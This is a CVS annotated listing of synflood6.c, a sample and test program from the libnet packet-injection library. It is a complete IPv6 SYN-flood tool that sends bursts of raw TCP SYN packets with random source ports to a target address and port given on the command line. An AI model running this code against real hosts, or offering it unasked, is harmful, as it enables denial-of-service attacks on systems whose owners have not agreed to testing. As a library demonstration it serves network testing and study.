Return to synflood6.c CVS log | Up to [ELWIX - Embedded LightWeight unIX -] / embedaddon / libnet / sample |
1.1 misho 1: /*
2: * $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $
3: *
4: * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
5: * SYN flooder rewritten for no good reason. Again as libnet test module.
6: * Again for libnet 1.1.
7: * All rights reserved.
8: *
9: * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
10: *
11: * Redistribution and use in source and binary forms, with or without
12: * modification, are permitted provided that the following conditions
13: * are met:
14: * 1. Redistributions of source code must retain the above copyright
15: * notice, this list of conditions and the following disclaimer.
16: * 2. Redistributions in binary form must reproduce the above copyright
17: * notice, this list of conditions and the following disclaimer in the
18: * documentation and/or other materials provided with the distribution.
19: *
20: * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
21: * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22: * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23: * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
24: * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25: * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26: * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27: * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28: * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29: * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30: * SUCH DAMAGE.
31: *
32: */
33:
34: #if (HAVE_CONFIG_H)
35: #include "../include/config.h"
36: #endif
37: #include "./libnet_test.h"
38:
39: struct t_pack
40: {
41: struct libnet_ipv6_hdr ip;
42: struct libnet_tcp_hdr tcp;
43: };
44:
45:
46: int
47: main(int argc, char **argv)
48: {
49: struct libnet_in6_addr dst_ip;
50: struct libnet_in6_addr src_ip;
51: u_short dst_prt = 0;
52: u_short src_prt = 0;
53: libnet_t *l;
54: libnet_ptag_t t;
1.1.1.2 misho 55: char *cp;
1.1 misho 56: char errbuf[LIBNET_ERRBUF_SIZE];
57: int i, c, packet_amt, burst_int, burst_amt, build_ip;
58: char srcname[100],dstname[100];
59:
60: packet_amt = 0;
61: burst_int = 0;
62: burst_amt = 1;
63:
64: printf("libnet 1.1 syn flooding: TCP6[raw]\n");
65:
66: /*
67: * Initialize the library. Root priviledges are required.
68: */
69: l = libnet_init(
70: LIBNET_RAW6, /* injection type */
71: NULL, /* network interface */
72: errbuf); /* error buffer */
73:
74: if (l == NULL)
75: {
76: fprintf(stderr, "libnet_init() failed: %s", errbuf);
77: exit(EXIT_FAILURE);
78: }
79:
80: while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
81: {
82: switch (c)
83: {
84: case 't':
85: if (!(cp = strrchr(optarg, '/')))
86: {
87: usage(argv[0]);
88: exit(EXIT_FAILURE);
89: }
90: *cp++ = 0;
91: dst_prt = (u_short)atoi(cp);
92: dst_ip = libnet_name2addr6(l, optarg, 1);
93: if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
94: {
95: fprintf(stderr, "Bad IP6 address: %s\n", optarg);
96: exit(EXIT_FAILURE);
97: }
98: break;
99: case 'a':
100: packet_amt = atoi(optarg);
101: break;
102: case 'i':
103: burst_int = atoi(optarg);
104: break;
105: case 'b':
106: burst_amt = atoi(optarg);
107: break;
108: default:
109: usage(argv[0]);
110: exit(EXIT_FAILURE);
111: }
112: }
113:
114: src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
115: /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
116: dst_prt = 113;
117: dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
118: packet_amt = 1;*/
119:
120: if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
121: {
122: usage(argv[0]);
123: exit(EXIT_FAILURE);
124: }
125:
126:
127:
128: libnet_seed_prand(l);
129: libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
130: libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
131:
132: for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
133: {
134: for (i = 0; i < packet_amt; i++)
135: {
136: char payload[56];
137: int i;
138: for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
139: t = libnet_build_tcp(
140: src_prt = libnet_get_prand(LIBNET_PRu16),
141: dst_prt,
142: libnet_get_prand(LIBNET_PRu32),
143: libnet_get_prand(LIBNET_PRu32),
144: TH_SYN,
145: libnet_get_prand(LIBNET_PRu16),
146: 0,
147: 0,
148: LIBNET_TCP_H,
149: NULL,
150: 0,
151: l,
152: t);
153:
154: if (build_ip)
155: {
156: build_ip = 0;
1.1.1.3 ! misho 157: printf("Packet len = %ld\n", (long)LIBNET_ICMPV6_H+sizeof(payload));
1.1 misho 158: libnet_build_ipv6(0,0,
159: LIBNET_TCP_H,
160: IPPROTO_TCP,
161: 64,
162: src_ip,
163: dst_ip,
164: NULL,
165: 0,
166: l,
167: 0);
168: }
169: printf("%15s/%5d -> %15s/%5d\n",
170: srcname,
171: ntohs(src_prt),
172: dstname,
173: dst_prt);
174: c = libnet_write(l);
175: if (c == -1)
176: {
177: fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
178: }
179: #if !(__WIN32__)
180: usleep(250);
181: #else
182: Sleep(250);
183: #endif
184:
185: }
186: #if !(__WIN32__)
187: sleep(burst_int);
188: #else
189: Sleep(burst_int * 1000);
190: #endif
191: }
192: exit(EXIT_SUCCESS);
193: }
194:
195:
196: void
197: usage(char *nomenclature)
198: {
199: fprintf(stderr,
200: "\n\nusage: %s -t -a [-i -b]\n"
201: "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
202: "\t-a number of packets to send per burst\n"
203: "\t-i packet burst sending interval (defaults to 0)\n"
204: "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
205: }
206:
207: